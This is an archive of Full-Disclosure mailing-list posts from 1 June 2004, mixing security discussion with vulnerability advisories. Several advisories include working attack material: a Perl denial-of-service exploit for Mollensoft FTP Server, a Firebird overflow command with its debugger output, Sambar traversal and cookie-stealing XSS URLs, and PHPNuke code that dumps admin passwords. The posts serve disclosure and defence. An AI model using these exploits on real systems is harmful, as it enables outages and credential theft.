From dowlingg at sullcrom.com  Tue Jun  1 07:02:11 2004
From: dowlingg at sullcrom.com (Dowling, Gabrielle)
Date: Tue, 1 Jun 2004 02:02:11 -0400
Subject: [Full-Disclosure] Cleanining viruses from netware
Message-ID: <B7C2C6BA798F3C4DBDD78BEDC1F8AD5709637665@nycmb01.law.sullcrom.com>

A certain mass maier that infected a netware environment?  And you have a buddy to fix it?

Please talk about the mass mailer. You think is inplay,

G

-----Original Message-----
From: Gadi Evron <ge at egotistical.reprehensible.net>
To: Full-Disclosure <full-disclosure at lists.netsys.com>
CC: Dowling, Gabrielle <dowlingg at sullcrom.com>
Sent: Mon May 31 09:53:39 2004
Subject: Re: [Full-Disclosure] Cleanining viruses from netware

Dowling, Gabrielle wrote:
> Gadi....
> 
> What exactly are you encountering?
> 
> If you aren't running an av nlm on the server(s) in question, you should be able to map a drive to the system from even a workstation, and run a scan from there.
> 
> I'm not aware of anything that can actually infect a netware system, just things that can drop latent infectious content when write rights are relatively open.
> 
> What exactly are you dealing with?

A certain mass mailer which infected a netware network.

I've dealt with most of it, but I am looking for some script similar to 
what a friend of mine once wrote for active directory, using LDAP and 
running from a domain admin account.

The script scanned the network and remotely removed the infection... 
Which is what I am looking for, if one such as that already exist and 
can be shared.. only for netware.

Thanks for your answer,

	Gadi Evron.


-- 
Email: ge at linuxbox.org.  Work: gadie at cbs.gov.il. Backup: ge at warp.mx.dk.
Phone: +972-50-428610 (Cell).

PGP key for attachments: http://vapid.reprehensible.net/~ge/Gadi_Evron.asc
ID: 0xD9216A06 FP: 5BB0 D3E2 D3C1 19B7 2104  C0D0 A7B3 1CF7 D921 6A06
GPG key for encrypted email: 
http://vapid.reprehensible.net/~ge/Gadi_Evron_Emails.asc
ID: 0x06C7D450 FP: 3B88 845A DF1F 4062 E5BA  569A A87E 8DB7 06C7 D450




**********************************************************************
This e-mail is sent by a law firm and contains information
that may be privileged and confidential. If you are not the 
intended recipient, please delete the e-mail and notify us 
immediately. 
***********************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040601/4ee1b4b3/attachment.html 

From cm at coretec.at  Tue Jun  1 08:24:39 2004
From: cm at coretec.at (Cm)
Date: Tue, 01 Jun 2004 08:24:39 +0100
Subject: [Full-Disclosure] Re: Hi
Message-ID: <mwhietqwztxvrgoqnwl@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040601/5f3f3ad2/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: You_are_dismissed.cpl
Type: application/octet-stream
Size: 21570 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040601/5f3f3ad2/attachment.obj 

From sam at ipsupport.co.uk  Tue Jun  1 08:09:54 2004
From: sam at ipsupport.co.uk (Sam Bashton)
Date: Tue, 1 Jun 2004 08:09:54 +0100
Subject: [Full-Disclosure] Possible bug in PHPNuke and other CMS
In-Reply-To: <40B9F55E.9050402@libero.it>
References: <40B9F55E.9050402@libero.it>
Message-ID: <20040601070954.GA23397@ipsupport.co.uk>

On Sun, May 30, 2004 at 04:53:18PM +0200, Luca Falavigna wrote:
> There is a vulnerability in PHPNuke that permits execution of arbitrary
> SQL queries on a database located in the same server of an attacker's
> account. This is the procedure: first of all attacker must create a
> symlink pointing to victim's db directory in PHPNuke home directory
> because of mainfile.php include method. After that he can build a simple
> php code executing a query to the PHPNuke database. Here is an example:
> 
> <?php
> require_once ("/location_of_victim's_PHPNuke/mainfile.php");
> $sql = $db->sql_query("SELECT aid,pwd FROM ".$prefix."_authors");
> while($record = $db->sql_fetchrow($sql))
> ~  echo "Username: $record[aid]\n<br>\nPassword: $record[pwd]\n<br><br>\n";
> unset($sql);
> ?>

This is an administration issue rather than a security vulnerability.
In order to use this attack the attacker requires access to:

1.  Another site on the victim's server
2.  A sufficiently poorly administered server on which (s)he can:
    a.  Create a symlink 
    or
    b.  Specify an absolute path for includes

Those hosting multiple PHP sites ought to be using PHP's open_basedir
directive to limit the files that can be opened by PHP.  If this isn't
being used they are plenty of other easy attacks open to anyone with an
account on the same server.
    

-- 
Sam Bashton
Systems Administrator
IP Support 



From sudharsha at sms.lk  Tue Jun  1 08:18:30 2004
From: sudharsha at sms.lk (sudharsha)
Date: Tue, 1 Jun 2004 13:18:30 +0600
Subject: [Full-Disclosure] watch guard
Message-ID: <003c01c447a8$ba7823d0$9f64a8c0@eng>

Hi all

Does any one know a vulnarability in Watch guard?

Rgds
Sudharsha



From mg_outlaw at hotmail.com  Tue Jun  1 09:12:24 2004
From: mg_outlaw at hotmail.com (m g)
Date: Tue, 01 Jun 2004 08:12:24 +0000
Subject: [Full-Disclosure] Beware of 'IBM laptop order' email
Message-ID: <BAY12-F38BMcaNJZSBl0003dbe5@hotmail.com>

Hi all,

Last week on the site of 'The Register' an article was published about 
spam-mail that used an unknown 'zero-day' vulnerability in IE. They did not 
release any information about the zero-day issue, so perhaps anyone on the 
list knows anything about this issue and whether or not this issue is really 
a zero-day vulnerability or just a old one,

The article can be found at the following URL:
http://www.theregister.co.uk/2004/05/24/fake_order_viral_scam/

Greetings Mike

_________________________________________________________________
Help STOP SPAM with the new MSN 8 and get 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From charlie at peopleandplanet.org  Tue Jun  1 10:26:24 2004
From: charlie at peopleandplanet.org (Charlie Harvey )
Date: Tue, 01 Jun 2004 10:26:24 +0100
Subject: [Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1677 - 23 msgs
In-Reply-To: <20040528194410.10576.30329.Mailman@NETSYS.COM>
Message-ID: <40BC59D0.22356.163A22@localhost>

| Charlie...
| 
| Put down the crack pipe and back away slowly.  You are surely not 
| suggesting that this issue of Cisco's code has anything...at 
| all...remotely...in common with the people and actions you 
| listed...seriously...<SNIP>

*blush* No, of course not! 

The chap I replied to was asserting that breaking the law was ALWAYS 
wrong, whatever the circumstances, or the law. 

Sorry if people read it wrongly! I thought the snipping made clear the 
point I was making was simply that breaking laws can /sometimes/ be 
right. 

Charlie



From oliver at greyhat.de  Tue Jun  1 10:52:04 2004
From: oliver at greyhat.de (oliver at greyhat.de)
Date: Tue,  1 Jun 2004 11:52:04 +0200
Subject: [Full-Disclosure] =?iso-8859-1?Q?Sambar_Proxy_Multible_Vulnerabilities?=
Message-ID: <5452427$108608324940bc50b158cee8.36652122@config10.schlund.de>

Sambar Proxy Multible Vulnerabilities
=====================================

I found some vulnerabilitites in Sambar Webproxy (www.sambar.com), which
allow the sambar admin access to files outside of the application
directories.
Since Sambar comes with no password for admin as default, it might be a
security problem, if administration of Sambar proxy is allowed from any
IP (by default it is restricted to 127.0.0.1!).

In Addition, i found some XSS.

Directory Traversal
===================

http://myserver/sysadmin/system/showini.asp?file=\..\..\..\..\..\..\..\boot.ini

See: www.oliverkarow.de/research/sambar_trav.GIF

Direct File Access
==================

http://localhost/sysadmin/system/showlog.asp?log=c:\boot.ini&tail=y

Cross Site Scripting
====================

http://localhost/sysadmin/system/show.asp?show=<script>alert("oops")</script>

http://localhost/sysadmin/system/showperf.asp?area=search&title=<script>alert(document.cookie)</script>

Version
=======

I only tested Sambar 6.1 Beta 2 on Windows platform (x86). Other
versions/platforms may also be affected.

Vendor
======

www.sambar.com

Vendor is informed, and is fixing this vulns in the next release.

Workaround
==========

Set a password for admin account and restrict administration to
localhost (default).

Credits
=======

15.05.2004 www.oliverkarow.de

www.oliverkarow.de/research/sambar.txt



From se_cur_ity at hotmail.com  Tue Jun  1 11:17:10 2004
From: se_cur_ity at hotmail.com (morning_wood)
Date: Tue, 1 Jun 2004 03:17:10 -0700
Subject: [Full-Disclosure] Beware of 'IBM laptop order' email
References: <BAY12-F38BMcaNJZSBl0003dbe5@hotmail.com>
Message-ID: <BAY9-DAV24QcZVIj9ly0005c52c@hotmail.com>

http://www.f-secure.com/v-descs/wallon.shtml


> Last week on the site of 'The Register' an article was published about 
> spam-mail that used an unknown 'zero-day' vulnerability in IE. They did not 
> release any information about the zero-day issue, so perhaps anyone on the 
> list knows anything about this issue and whether or not this issue is really 
> a zero-day vulnerability or just a old one,
> 
> The article can be found at the following URL:
> http://www.theregister.co.uk/2004/05/24/fake_order_viral_scam/
> 



From eric at swordsoft.com  Tue Jun  1 11:27:59 2004
From: eric at swordsoft.com (Eric Knight)
Date: Tue, 1 Jun 2004 04:27:59 -0600
Subject: [Full-Disclosure] Visual Enterprise Security/Fatum Agent Open Beta Announcement
Message-ID: <019101c447c3$1d40d740$6600a8c0@datendrao2d5z7>

Greetings,

This is an open call for beta testers and interested parties to take a look
at the Visual Enterprise Security Server and Fatum Agent technology that I
(SwordSoft, me.) have been developing.  It's a Microsoft Windows based
Agent/Server security and management architecture that is meant to be an
experimental design for integration of security tools based on the design
strategies presented in the "Treatise on Informational Warfare"  (As it
stands, 75% of the framework has been implemented.)

The information about the product(s) can be found at:

http://www.swordsoft.com/modules.php?name=VES   (Visual Enterprise Security)
http://www.swordsoft.com/modules.php?name=Fatum (Fatum Agent)

You can download it now without a bunch of registration forms and whatnot
immediately from: http://www.swordsoft.com/modules.php?name=Downloads

To stem off "I'm doing this for the advertising" complaints, the product may
be planned for commercial use, and there are people working gratis to help
build SwordSoft, but the VES/Fatum products are going to be free for up to
10 computers even after it goes final.  I do want this product to be used by
the majority, it's aimed at the small environments and tries and move as far
away from the "expensive band-aid" as possible.  Aside from that, VES
currently isn't "for sale" by SwordSoft and in fact, nothing on the web site
is.  The program was written in a very small computing environment, so it's
a big mystery to us if it can even scale past 10 computers - we're
predicting 20, although in theory a PC with a gig of ram could handle 250..
Anyway, the point being its concept technology brought to a level where it
needs to get out of the lab.

I've written almost 400,000 lines of code into this, made over 1,000 icons,
the distribution size is about 20 megabytes for the server, 10 megabytes for
the Agent.  With some help from some supporters providing distribution
bandwidth, we're giving "grassroots" a try to at least figure out what the
people in the industry think of this
"concept-ware".

I did my best to keep the project as professional as possible given its
scale, lack of resources, and such.

I was following my dream for an "all encompassing" type of integrated
security environment that at least makes a genuine attempt to be friendly
and easy to use.  The reality behind a program like this is that it's a
series of growth steps, building framework, building tools to test it,
building components, platform tests, etc.  My choices for tools at this time
were based on framework integration, not industry need, but you'll get the
idea what the whole system is capable of if you play around.  I've been
focusing more on industry demands lately.

Anyway, enjoy.  I hope you'll find it useful.  I'll continue to support the
development of the products; I've got no end to the number of improvements I
want to make.  The Beta keys don't have time expiration.  They'll be fully
functional for when the product is in "final" release.  And otherwise, I
look forward to hearing about what people think of this effort.

Thank you,

Eric Knight
Security Researcher, Overworked, Dazed.
eric at swordsoft.com



From prandal at herefordshire.gov.uk  Tue Jun  1 11:49:31 2004
From: prandal at herefordshire.gov.uk (Randal, Phil)
Date: Tue, 1 Jun 2004 11:49:31 +0100 
Subject: [Full-Disclosure] Beware of 'IBM laptop order' email
Message-ID: <801403078973F243A6A74322E134AF500F1C65@mail.herefordshire.gov.uk>

Good try, but it doesn't match what we received here.  The site linked to in
the original email was down by the time I got to investigating, alas.

Phil

----
Phil Randal
Network Engineer
Herefordshire Council
Hereford, UK  

> -----Original Message-----
> From: full-disclosure-admin at lists.netsys.com 
> [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of 
> morning_wood
> Sent: 01 June 2004 11:17
> To: m g; full-disclosure at lists.netsys.com
> Subject: Re: [Full-Disclosure] Beware of 'IBM laptop order' email
> 
> http://www.f-secure.com/v-descs/wallon.shtml
> 
> 
> > Last week on the site of 'The Register' an article was 
> published about 
> > spam-mail that used an unknown 'zero-day' vulnerability in IE. They 
> > did not release any information about the zero-day issue, 
> so perhaps 
> > anyone on the list knows anything about this issue and 
> whether or not 
> > this issue is really a zero-day vulnerability or just a old one,
> > 
> > The article can be found at the following URL:
> > http://www.theregister.co.uk/2004/05/24/fake_order_viral_scam/
> > 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 



From cm at coretec.at  Tue Jun  1 14:19:03 2004
From: cm at coretec.at (Cm)
Date: Tue, 01 Jun 2004 14:19:03 +0100
Subject: [Full-Disclosure] New changes
Message-ID: <kxulqbckmsyhvsmsild@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040601/8175754a/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: Message.scr
Type: application/octet-stream
Size: 20397 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040601/8175754a/attachment.obj 

From ge at egotistical.reprehensible.net  Tue Jun  1 15:38:15 2004
From: ge at egotistical.reprehensible.net (Gadi Evron)
Date: Tue, 01 Jun 2004 16:38:15 +0200
Subject: [Full-Disclosure] Cleanining viruses from netware
In-Reply-To: <B7C2C6BA798F3C4DBDD78BEDC1F8AD5709637665@nycmb01.law.sullcrom.com>
References: <B7C2C6BA798F3C4DBDD78BEDC1F8AD5709637665@nycmb01.law.sullcrom.com>
Message-ID: <40BC94D7.7040306@egotistical.reprehensible.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dowling, Gabrielle wrote:

| A certain mass maier that infected a netware environment?  And you
have a buddy to fix it?
|
| Please talk about the mass mailer. You think is inplay,
|
| G

My inquiry was about netware, not a particular virus.

Thank you for all your help, I have received an answer privately.

Have a good day!

	Gadi Evron.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)

iD8DBQFAvJTWqH6NtwbH1FARAiYFAKCJgF7wMxB0Yxofz2VpKVO1Yz2EMgCfWXqT
0ADuE76uLwPWzRFGYnYy8z4=
=YUQS
-----END PGP SIGNATURE-----



From cm at coretec.at  Tue Jun  1 16:18:48 2004
From: cm at coretec.at (Cm)
Date: Tue, 01 Jun 2004 16:18:48 +0100
Subject: [Full-Disclosure] Hidden message
Message-ID: <gzlakjgkzsnzhqkmknz@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040601/9518b6d5/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: You_will_answer_to_me.scr
Type: application/octet-stream
Size: 20995 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040601/9518b6d5/attachment.obj 

From skip at duckwall.net  Tue Jun  1 15:22:43 2004
From: skip at duckwall.net (Skip Duckwall)
Date: Tue, 1 Jun 2004 09:22:43 -0500 (CDT)
Subject: [Full-Disclosure] Beware of 'IBM laptop order' email
In-Reply-To: <BAY12-F38BMcaNJZSBl0003dbe5@hotmail.com>
References: <BAY12-F38BMcaNJZSBl0003dbe5@hotmail.com>
Message-ID: <Pine.LNX.4.53.0406010915020.21120@mail.duckwall.net>

Since it's a phishing email, I'm sure the exploit they're referring to is
the one that exploits the compiled help files (.chm files), even though
it's not exactly new... Although the way the hostile chm files are
executed without user intervention has been patched (the MS-ITS
vulnerability in MS04-013 I believe...)

This type of phishing scam isn't really all that new and you can find all
sorts of writeups using google.  A particularty decent site that has lots
of phishing writeups (aside from the one I'm linking to)
http://spamwatch.codefish.net.au/modules.php?op=modload&name=News&file=article&sid=98

just my guess....

Alva Lease 'Skip' Duckwall
CISSP,RHCE,SCSA
skip at duckwall dot net

On Tue, 1 Jun 2004, m g wrote:

> Hi all,
>
> Last week on the site of 'The Register' an article was published about
> spam-mail that used an unknown 'zero-day' vulnerability in IE. They did not
> release any information about the zero-day issue, so perhaps anyone on the
> list knows anything about this issue and whether or not this issue is really
> a zero-day vulnerability or just a old one,
>
> The article can be found at the following URL:
> http://www.theregister.co.uk/2004/05/24/fake_order_viral_scam/
>
> Greetings Mike
>
> _________________________________________________________________
> Help STOP SPAM with the new MSN 8 and get 2 months FREE*
> http://join.msn.com/?page=features/junkmail
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>



From keydet89 at yahoo.com  Tue Jun  1 15:22:49 2004
From: keydet89 at yahoo.com (Harlan Carvey)
Date: Tue, 1 Jun 2004 07:22:49 -0700 (PDT)
Subject: [Full-Disclosure] Cleanining viruses from netware
In-Reply-To: <40BC94D7.7040306@egotistical.reprehensible.net>
Message-ID: <20040601142249.30999.qmail@web51503.mail.yahoo.com>

Gadi,

For the sake of the list, would you be willing to
share the answer you received?


--- Gadi Evron <ge at egotistical.reprehensible.net>
wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Dowling, Gabrielle wrote:
> 
> | A certain mass maier that infected a netware
> environment?  And you
> have a buddy to fix it?
> |
> | Please talk about the mass mailer. You think is
> inplay,
> |
> | G
> 
> My inquiry was about netware, not a particular
> virus.
> 
> Thank you for all your help, I have received an
> answer privately.
> 
> Have a good day!
> 
> 	Gadi Evron.
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.3 (MingW32)
> 
>
iD8DBQFAvJTWqH6NtwbH1FARAiYFAKCJgF7wMxB0Yxofz2VpKVO1Yz2EMgCfWXqT
> 0ADuE76uLwPWzRFGYnYy8z4=
> =YUQS
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter:
http://lists.netsys.com/full-disclosure-charter.html



From ge at egotistical.reprehensible.net  Tue Jun  1 16:26:33 2004
From: ge at egotistical.reprehensible.net (Gadi Evron)
Date: Tue, 01 Jun 2004 17:26:33 +0200
Subject: [Full-Disclosure] Cleanining viruses from netware
In-Reply-To: <20040601142249.30999.qmail@web51503.mail.yahoo.com>
References: <20040601142249.30999.qmail@web51503.mail.yahoo.com>
Message-ID: <40BCA029.4050403@egotistical.reprehensible.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Harlan Carvey wrote:

| Gadi,
|
| For the sake of the list, would you be willing to
| share the answer you received?

I will ask the person who replied.

	Gadi Evron.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)

iD8DBQFAvKAmqH6NtwbH1FARAtPXAJ9jXsuC8f+99IhBaX/kyof6+pvGEgCfefAn
ulHaMkWYk0PpF+f9NOgn+i8=
=hfIz
-----END PGP SIGNATURE-----



From bwiedman at iconsinc.com  Tue Jun  1 17:05:23 2004
From: bwiedman at iconsinc.com (Blake Wiedman)
Date: Tue, 1 Jun 2004 12:05:23 -0400
Subject: [Full-Disclosure] Running Both CISCO VPN and Symantec VPN
In-Reply-To: <Pine.LNX.4.53.0406010915020.21120@mail.duckwall.net>
Message-ID: <000301c447f2$3f07ccb0$f301010a@corp.fidelityfederal.com>

I have a client that is running a Symantec 5420 device.  Unfortunately
we have a few contractors that use the Cisco VPN client.  The Cisco VPN
client and the Symantec VPN client will not coexist.  Has any one had a
similar problem? And how did you solve it?

-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Skip
Duckwall
Sent: Tuesday, June 01, 2004 10:23 AM
To: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] Beware of 'IBM laptop order' email


Since it's a phishing email, I'm sure the exploit they're referring to
is
the one that exploits the compiled help files (.chm files), even though
it's not exactly new... Although the way the hostile chm files are
executed without user intervention has been patched (the MS-ITS
vulnerability in MS04-013 I believe...)

This type of phishing scam isn't really all that new and you can find
all
sorts of writeups using google.  A particularty decent site that has
lots
of phishing writeups (aside from the one I'm linking to)
http://spamwatch.codefish.net.au/modules.php?op=modload&name=News&file=a
rticle&sid=98

just my guess....

Alva Lease 'Skip' Duckwall
CISSP,RHCE,SCSA
skip at duckwall dot net

On Tue, 1 Jun 2004, m g wrote:

> Hi all,
>
> Last week on the site of 'The Register' an article was published about
> spam-mail that used an unknown 'zero-day' vulnerability in IE. They
did not
> release any information about the zero-day issue, so perhaps anyone on
the
> list knows anything about this issue and whether or not this issue is
really
> a zero-day vulnerability or just a old one,
>
> The article can be found at the following URL:
> http://www.theregister.co.uk/2004/05/24/fake_order_viral_scam/
>
> Greetings Mike
>
> _________________________________________________________________
> Help STOP SPAM with the new MSN 8 and get 2 months FREE*
> http://join.msn.com/?page=features/junkmail
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From api at epost.de  Tue Jun  1 17:26:26 2004
From: api at epost.de (Axel Pettinger)
Date: Tue, 01 Jun 2004 18:26:26 +0200
Subject: [Full-Disclosure] Beware of 'IBM laptop order' email
References: <BAY12-F38BMcaNJZSBl0003dbe5@hotmail.com> <Pine.LNX.4.53.0406010915020.21120@mail.duckwall.net>
Message-ID: <40BCAE32.DBD0D6E2@epost.de>

Skip Duckwall wrote:
> 
> Since it's a phishing email, I'm sure the exploit they're referring to 
> is the one that exploits the compiled help files (.chm files), even 
> though it's not exactly new... Although the way the hostile chm files 
> are executed without user intervention has been patched (the MS-ITS
> vulnerability in MS04-013 I believe...)
> 
> This type of phishing scam isn't really all that new and you can find 
> all sorts of writeups using google.
<snip>
> 
> just my guess....

Good guess ...
http://groups.google.com/groups?threadm=1085148506.86377.0%40despina.uk.clara.net

Regards,
Axel Pettinger



From aviram at beyondsecurity.com  Tue Jun  1 18:12:55 2004
From: aviram at beyondsecurity.com (Aviram Jenik)
Date: Tue, 1 Jun 2004 20:12:55 +0300
Subject: [Full-Disclosure] Mollensoft Lightweight FTP Server CWD Buffer Overflow
Message-ID: <200406012012.55080.aviram@beyondsecurity.com>

Mollensoft Lightweight FTP Server CWD Buffer Overflow 
------------------------------------------------------------------------ 


Article reference:
http://www.securiteam.com/windowsntfocus/5RP0L15CUM.html


SUMMARY

STORM has discovered a security vulnerability in 
<http://www.mollensoft.com/product2.htm> Mollensoft Lightweight FTP Server. 
Mollensoft Lightweight FTP Server's support for the CWD command incorrectly 
verifies that the buffer the CWD command doesn't overflow any of its internal 
buffers. This insufficient verification allows an authenticated (anonymous or 
otherwise) user to cause the FTP server to crash while trying to read an 
arbitrary memory location by issuing a malformed CWD command. 


DETAILS

Vulnerable Systems: 
 * Mollensoft Lightweight FTP Server version 3.6 

 Vendor Response: 
BigAl (author) responded with the following: 
I wrote this particular app with Visual Basic and used an FTP ActiveX COM 
component and I am waiting for the component creator to get back to me 
regarding the fix. Unfortunately I cannot snip off any of the commands, as 
access to the command length is not available from the VB component using 
straight VB Code. I am working on moving to .Net so hopefully I can have a 
new FTP server out by fall time frame which is truly multi-threaded and 
totally coded by me. 
 
 Exploit: 
 #!/usr/bin/perl 
 # 
 # Mollensoft FTP Server CMD Buffer Overflow 
 # 
 # Orkut users? Come join the SecuriTeam community 
 # http://www.orkut.com/Community.aspx?cmm=44441 
 
 use strict; 
 use IO::Socket::INET; 
 
 usage() unless (@ARGV == 2); 
 
 my $host = shift(@ARGV); 
 my $port = shift(@ARGV); 
 
 # create the socket 
 my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, 
PeerPort=>$port); 
 $socket or die "Cannot connect to host!\n"; 
 
 $socket->autoflush(1); 
 
 # receive greeting 
 my $repcode = "220 "; 
 my $response = recv_reply($socket, $repcode); 
 print $response; 
 
 # send USER command 
 #my $username = "%00" x 2041; 
 my $username = "anonymous"; 
 print "USER $username\r\n"; 
 print $socket "USER $username\r\n"; 
 
 select(undef, undef, undef, 0.002); # sleep of 2 milliseconds 
 
 # send PASS command 
 my $password = "a\@b.com"; 
 print "PASS $password\r\n"; 
 print $socket "PASS $password\r\n"; 
 
 my $cmd = "CWD "; 
 $cmd .= "A" x 224; # Value can range from 224 to 1018 
 $cmd .= "\r\n"; 
 print "length: ".length($cmd)."\n"; 
 print $socket $cmd; 
 
 $repcode = ""; 
 recv_reply($socket, $repcode); 
 
 close($socket); 
 exit(0); 
 
 sub usage 
 { 
  # print usage information 
  print "\nUsage: Mollensoft_FTP_Server_crash.pl <host> <port>\n 
 <host> - The host to connect to 
 <port> - The TCP port which WarFTP is listening on\n\n"; 
  exit(1); 
 } 
 
 sub recv_reply 
 { 
  # retrieve any reply 
  my $socket = shift; 
  my $repcode = shift; 
  $socket or die "Can't receive on socket\n"; 
   
  my $res=""; 
  while(<$socket>) 
  { 
   $res .= $_; 
   if (/$repcode/) { last; } 
  } 
  return $res; 
 } 
 

ADDITIONAL INFORMATION
SecurITeam would like to thank <mailto:storm at securiteam.com> STORM for 
finding this vulnerability.


Regards, 
Aviram Jenik
Beyond Security Ltd.

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf




==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 



From ge at linuxbox.org  Tue Jun  1 17:46:55 2004
From: ge at linuxbox.org (Gadi Evron)
Date: Tue, 01 Jun 2004 18:46:55 +0200
Subject: [Full-Disclosure] Cleanining viruses from netware
In-Reply-To: <20040601142249.30999.qmail@web51503.mail.yahoo.com>
References: <20040601142249.30999.qmail@web51503.mail.yahoo.com>
Message-ID: <40BCB2FF.8040600@linuxbox.org>

Harlan Carvey wrote:

 > Gadi,
 >
 > For the sake of the list, would you be willing to
 > share the answer you received?


Begin quote>>>
ST wrote:
---------
It relatively easy if the virus is detectable remotely i.e. it has a
component listening on a port. A simple nmap scan followed by a remote
connect and run of the disinfection tool will work. I prefer this
approach over using the directory service as it catches all active
machines, irrespective of whether they are in the directory or not.

Another approach is to use a login script that runs the disinfection
util automatically, subsequent logins do not run the script. I used the
absence of a file in a directory to indicate that the util had to be
run, run the script and then *IF* successful, create the flag file.

A combo of these methods will rapidly and effectivly catch most of the
infected machines and remove them.
-----

	Gadi.



From aviram at beyondsecurity.com  Tue Jun  1 18:40:14 2004
From: aviram at beyondsecurity.com (Aviram Jenik)
Date: Tue, 1 Jun 2004 20:40:14 +0300
Subject: [Full-Disclosure] Firebird Database Remote Database Name Overflow
Message-ID: <200406012040.14839.aviram@beyondsecurity.com>

 Firebird Database Remote Database Name Overflow
------------------------------------------------------------------------

Article reference:
http://www.securiteam.com/unixfocus/5AP0P0UCUO.html


SUMMARY

<http://firebird.sourceforge.net> Firebird is "a relational database offering 
many ANSI SQL-92 features that runs on Linux, Windows, and a variety of Unix 
platforms. Firebird offers excellent concurrency, high performance, and 
powerful language support for stored procedures and triggers. It has been 
used in production systems, under a variety of names since 1981".

A vulnerability in Firebird Database's way of handling database names, allows 
an unauthenticated user to cause the server to crash, and overwrite critical 
section of the stack used by the database.

DETAILS

Vulnerable Systems:
* Firebird Database version 1.0 (1.0.2-2.1) - Debian unstable

Immune Systems:
* Firebird Database version 1.5.0 (others are presumed to be immuned as well)


By issuing:
gsec -database 192.168.1.52:`perl -e'print ("A"x300)'` -user whenever 
-password whatever

On a remote server, you can see that:
gdb /usr/lib/firebird/bin/ibserver
GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB is 
free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute copies of it 
under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for 
details.
This GDB was configured as "i386-linux"...(no debugging symbols 
found)...Using host libthread_db library
"/lib/tls/libthread_db.so.1".

(gdb) r
Starting program: /usr/lib/firebird/bin/ibserver
(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...[Thread
debugging using libthread_db enabled]
[New Thread 1075462272 (LWP 31389)]
(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...[New
Thread 1092549552 (LWP 31392)]
[New Thread 1100938160 (LWP 31393)]
[Thread 1100938160 (LWP 31393) exited]
[Thread 1092549552 (LWP 31392) exited]
[New Thread 1092549552 (LWP 31396)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1092549552 (LWP 31396)]
0x08132223 in ERR_post ()


(gdb) bt
#0  0x08132223 in ERR_post ()
#1  0x080942ac in THD_wlck_unlock ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x00414141 in ?? ()
#9  0x0000012c in ?? ()
..

Solution:
Debian is currently not maintaining this version of the product, so it is 
recommended that you use a source code based installation.


ADDITIONAL INFORMATION

The information has been provided by <mailto:expert at securiteam.com> Noam 
Rathaus.


Regards, 
Aviram Jenik
Beyond Security Ltd.

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf




==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 



From lupe at lupe-christoph.de  Tue Jun  1 22:13:32 2004
From: lupe at lupe-christoph.de (Lupe Christoph)
Date: Tue, 1 Jun 2004 23:13:32 +0200
Subject: [Full-Disclosure] Re: RS-2004-1: SquirrelMail "Content-Type" XSS vulnerability
In-Reply-To: <ucdib0lfc67jlcbugut58aqubhbb456dbr@4ax.com>
References: <ucdib0lfc67jlcbugut58aqubhbb456dbr@4ax.com>
Message-ID: <20040601211332.GB1538@lupe-christoph.de>

On Sunday, 2004-05-30 at 03:15:44 +0200, Roman Medina wrote:

> I also noticed that latest Debian stable distro ships a very old
> version of SquirrelMail, which is vulnerable to several old XSS bugs
> (in addition to the new one).

